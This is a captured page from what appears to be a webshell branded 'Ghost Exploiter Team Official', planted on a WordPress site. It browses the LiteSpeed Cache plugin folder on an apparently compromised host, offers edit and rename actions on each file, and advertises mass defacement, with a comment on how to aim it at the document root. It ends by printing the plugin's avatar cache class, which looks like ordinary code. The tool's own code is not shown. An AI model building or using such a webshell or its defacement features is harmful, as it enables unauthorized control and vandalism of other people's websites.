webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
aminiwrc
/
public_html11
/
wp-content
/
plugins
/
litespeed-cache
/
src
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
cdn
--
ren
data_structure
--
ren
activation.cls.php
14.991KB
edt
ren
admin-display.cls.php
33.22KB
edt
ren
admin-settings.cls.php
9.521KB
edt
ren
admin.cls.php
4.441KB
edt
ren
api.cls.php
11.076KB
edt
ren
avatar.cls.php
6.063KB
edt
ren
base.cls.php
30.233KB
edt
ren
cdn-setup.cls.php
10.451KB
edt
ren
cdn.cls.php
13.132KB
edt
ren
cloud.cls.php
42.476KB
edt
ren
conf.cls.php
18.579KB
edt
ren
control.cls.php
21.746KB
edt
ren
core.cls.php
20.05KB
edt
ren
crawler-map.cls.php
13.999KB
edt
ren
crawler.cls.php
34.689KB
edt
ren
css.cls.php
13.104KB
edt
ren
data.cls.php
17.406KB
edt
ren
data.upgrade.func.php
21.372KB
edt
ren
db-optm.cls.php
9.585KB
edt
ren
debug2.cls.php
13.098KB
edt
ren
doc.cls.php
4.737KB
edt
ren
error.cls.php
6.905KB
edt
ren
esi.cls.php
26.907KB
edt
ren
file.cls.php
10.135KB
edt
ren
gui.cls.php
27.449KB
edt
ren
health.cls.php
2.893KB
edt
ren
htaccess.cls.php
23.952KB
edt
ren
img-optm.cls.php
60.243KB
edt
ren
import.cls.php
4.15KB
edt
ren
instance.cls.php
0.15KB
edt
ren
lang.cls.php
15.473KB
edt
ren
localization.cls.php
3.383KB
edt
ren
media.cls.php
31.078KB
edt
ren
metabox.cls.php
4.205KB
edt
ren
object-cache.cls.php
15.917KB
edt
ren
object.lib.php
33.969KB
edt
ren
optimize.cls.php
36.666KB
edt
ren
optimizer.cls.php
9.016KB
edt
ren
placeholder.cls.php
14.146KB
edt
ren
preset.cls.php
5.43KB
edt
ren
purge.cls.php
29.785KB
edt
ren
report.cls.php
5.328KB
edt
ren
rest.cls.php
7.871KB
edt
ren
root.cls.php
12.596KB
edt
ren
router.cls.php
19.078KB
edt
ren
str.cls.php
1.368KB
edt
ren
tag.cls.php
8.619KB
edt
ren
task.cls.php
5.825KB
edt
ren
tool.cls.php
3.291KB
edt
ren
ucss.cls.php
14.39KB
edt
ren
utility.cls.php
20.634KB
edt
ren
vary.cls.php
19.171KB
edt
ren
vpi.cls.php
7.408KB
edt
ren
<?php /** * The avatar cache class * * @since 3.0 * @package LiteSpeed * @subpackage LiteSpeed/inc * @author LiteSpeed Technologies <info@litespeedtech.com> */ namespace LiteSpeed; defined('WPINC') || exit(); class Avatar extends Base { const TYPE_GENERATE = 'generate'; private $_conf_cache_ttl; private $_tb; private $_avatar_realtime_gen_dict = array(); protected $_summary; /** * Init * * @since 1.4 */ public function __construct() { if (!$this->conf(self::O_DISCUSS_AVATAR_CACHE)) { return; } Debug2::debug2('[Avatar] init'); $this->_tb = $this->cls('Data')->tb('avatar'); $this->_conf_cache_ttl = $this->conf(self::O_DISCUSS_AVATAR_CACHE_TTL); add_filter('get_avatar_url', array($this, 'crawl_avatar')); $this->_summary = self::get_summary(); } /** * Check if need db table or not * * @since 3.0 * @access public */ public function need_db() { if ($this->conf(self::O_DISCUSS_AVATAR_CACHE)) { return true; } return false; } /** * Get gravatar URL from DB and regenerate * * @since 3.0 * @access public */ public function serve_static($md5) { global $wpdb; Debug2::debug('[Avatar] is avatar request'); if (strlen($md5) !== 32) { Debug2::debug('[Avatar] wrong md5 ' . $md5); return; } $q = "SELECT url FROM `$this->_tb` WHERE md5=%s"; $url = $wpdb->get_var($wpdb->prepare($q, $md5)); if (!$url) { Debug2::debug('[Avatar] no matched url for md5 ' . $md5); return; } $url = $this->_generate($url); wp_redirect($url); exit(); } /** * Localize gravatar * * @since 3.0 * @access public */ public function crawl_avatar($url) { if (!$url) { return $url; } // Check if its already in dict or not if (!empty($this->_avatar_realtime_gen_dict[$url])) { Debug2::debug2('[Avatar] already in dict [url] ' . $url); return $this->_avatar_realtime_gen_dict[$url]; } $realpath = $this->_realpath($url); if (file_exists($realpath) && time() - filemtime($realpath) <= $this->_conf_cache_ttl) { Debug2::debug2('[Avatar] cache file exists [url] ' . $url); return $this->_rewrite($url, filemtime($realpath)); } if (!strpos($url, 'gravatar.com')) { return $url; } // Send request if (!empty($this->_summary['curr_request']) && time() - $this->_summary['curr_request'] < 300) { Debug2::debug2('[Avatar] Bypass generating due to interval limit [url] ' . $url); return $url; } // Generate immediately $this->_avatar_realtime_gen_dict[$url] = $this->_generate($url); return $this->_avatar_realtime_gen_dict[$url]; } /** * Read last time generated info * * @since 3.0 * @access public */ public function queue_count() { global $wpdb; // If var not exists, mean table not exists // todo: not true if (!$this->_tb) { return false; } $q = "SELECT COUNT(*) FROM `$this->_tb` WHERE dateline<" . (time() - $this->_conf_cache_ttl); return $wpdb->get_var($q); } /** * Get the final URL of local avatar * * Check from db also * * @since 3.0 */ private function _rewrite($url, $time = null) { return LITESPEED_STATIC_URL . '/avatar/' . $this->_filepath($url) . ($time ? '?ver=' . $time : ''); } /** * Generate realpath of the cache file * * @since 3.0 * @access private */ private function _realpath($url) { return LITESPEED_STATIC_DIR . '/avatar/' . $this->_filepath($url); } /** * Get filepath * * @since 4.0 */ private function _filepath($url) { $filename = md5($url) . '.jpg'; if (is_multisite()) { $filename = get_current_blog_id() . '/' . $filename; } return $filename; } /** * Cron generation * * @since 3.0 * @access public */ public static function cron($force = false) { global $wpdb; $_instance = self::cls(); if (!$_instance->queue_count()) { Debug2::debug('[Avatar] no queue'); return; } // For cron, need to check request interval too if (!$force) { if (!empty($_instance->_summary['curr_request']) && time() - $_instance->_summary['curr_request'] < 300) { Debug2::debug('[Avatar] curr_request too close'); return; } } $q = "SELECT url FROM `$_instance->_tb` WHERE dateline < %d ORDER BY id DESC LIMIT %d"; $q = $wpdb->prepare($q, array(time() - $_instance->_conf_cache_ttl, apply_filters('litespeed_avatar_limit', 30))); $list = $wpdb->get_results($q); Debug2::debug('[Avatar] cron job [count] ' . count($list)); foreach ($list as $v) { Debug2::debug('[Avatar] cron job [url] ' . $v->url); $_instance->_generate($v->url); } } /** * Remote generator * * @since 3.0 * @access private */ private function _generate($url) { global $wpdb; // Record the data $file = $this->_realpath($url); // Update request status self::save_summary(array('curr_request' => time())); // Generate $this->_maybe_mk_cache_folder('avatar'); $response = wp_remote_get($url, array('timeout' => 180, 'stream' => true, 'filename' => $file)); Debug2::debug('[Avatar] _generate [url] ' . $url); // Parse response data if (is_wp_error($response)) { $error_message = $response->get_error_message(); file_exists($file) && unlink($file); Debug2::debug('[Avatar] failed to get: ' . $error_message); return $url; } // Save summary data self::save_summary(array( 'last_spent' => time() - $this->_summary['curr_request'], 'last_request' => $this->_summary['curr_request'], 'curr_request' => 0, )); // Update DB $md5 = md5($url); $q = "UPDATE `$this->_tb` SET dateline=%d WHERE md5=%s"; $existed = $wpdb->query($wpdb->prepare($q, array(time(), $md5))); if (!$existed) { $q = "INSERT INTO `$this->_tb` SET url=%s, md5=%s, dateline=%d"; $wpdb->query($wpdb->prepare($q, array($url, $md5, time()))); } Debug2::debug('[Avatar] saved avatar ' . $file); return $this->_rewrite($url); } /** * Handle all request actions from main cls * * @since 3.0 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_GENERATE: self::cron(true); break; default: break; } Admin::redirect(); } }